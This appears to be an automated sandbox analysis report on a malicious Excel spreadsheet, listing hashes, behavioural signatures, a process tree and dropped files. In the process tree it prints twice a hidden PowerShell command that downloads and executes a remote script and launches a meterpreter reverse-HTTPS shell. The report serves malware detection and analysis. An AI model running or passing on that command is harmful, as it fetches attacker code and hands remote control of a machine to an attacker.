Analysis
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max time kernel
47s -
max time network
13s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
04-07-2024 21:36
Behavioral task
behavioral1
Sample
d41a70e2ee05975672659527bdb66ea0f32cb50622dfd4a630252cabae4fa938.xls
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
d41a70e2ee05975672659527bdb66ea0f32cb50622dfd4a630252cabae4fa938.xls
Resource
win10v2004-20240704-en
General
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Target
d41a70e2ee05975672659527bdb66ea0f32cb50622dfd4a630252cabae4fa938.xls
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Size
44KB
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MD5
100bbd0c7b93a12142374ffce4aac777
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SHA1
16718e99e93da40c16dca0dce8e7d24dd013d3b1
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SHA256
d41a70e2ee05975672659527bdb66ea0f32cb50622dfd4a630252cabae4fa938
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SHA512
78947d51d7027865b26ff139a8d41c6e088fd942fbb4553d99786f23fe55a81f79d1bd16187767c1698012a8280d9beedd3b3b52de6c33267d453128fea86750
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SSDEEP
768:GtvojzJl8kkhzOjugt643rUdc1um4GKt+cL23dA7148u5xWouF6mQQcEnJ9ac0xy:xl8kkhzOjugt643rGc1um4GKt+cL23dC
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exewscript.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2644 2920 powershell.exe Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4156 2036 wscript.exe EXCEL.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exepowershell.exeflow pid process 8 4828 powershell.exe 9 2644 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid process 2644 powershell.exe 4828 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 7 raw.githubusercontent.com 8 raw.githubusercontent.com 9 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2036 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 2644 powershell.exe 2644 powershell.exe 4828 powershell.exe 4828 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2644 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 2036 EXCEL.EXE 2036 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEwscript.exedescription pid process target process PID 2036 wrote to memory of 4156 2036 EXCEL.EXE wscript.exe PID 2036 wrote to memory of 4156 2036 EXCEL.EXE wscript.exe PID 4156 wrote to memory of 4828 4156 wscript.exe powershell.exe PID 4156 wrote to memory of 4828 4156 wscript.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d41a70e2ee05975672659527bdb66ea0f32cb50622dfd4a630252cabae4fa938.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheFilesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eekyibqc.bhl.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Public\config.vbsFilesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78
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memory/2036-15-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-66-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-6-0x00007FF8AAE70000-0x00007FF8AAE80000-memory.dmpFilesize
64KB
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memory/2036-8-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-7-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-10-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-22-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-11-0x00007FF8A8C80000-0x00007FF8A8C90000-memory.dmpFilesize
64KB
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memory/2036-5-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-12-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-13-0x00007FF8A8C80000-0x00007FF8A8C90000-memory.dmpFilesize
64KB
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memory/2036-14-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-16-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-0-0x00007FF8AAE70000-0x00007FF8AAE80000-memory.dmpFilesize
64KB
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memory/2036-68-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-3-0x00007FF8AAE70000-0x00007FF8AAE80000-memory.dmpFilesize
64KB
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memory/2036-9-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-21-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-19-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-17-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-27-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-34-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-35-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-4-0x00007FF8EAE8D000-0x00007FF8EAE8E000-memory.dmpFilesize
4KB
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memory/2036-2-0x00007FF8AAE70000-0x00007FF8AAE80000-memory.dmpFilesize
64KB
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memory/2036-18-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-67-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-1-0x00007FF8AAE70000-0x00007FF8AAE80000-memory.dmpFilesize
64KB
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memory/2036-65-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2036-20-0x00007FF8EADF0000-0x00007FF8EAFE5000-memory.dmpFilesize
2.0MB
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memory/2644-56-0x000001D254E30000-0x000001D254E74000-memory.dmpFilesize
272KB
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memory/2644-42-0x000001D254940000-0x000001D254962000-memory.dmpFilesize
136KB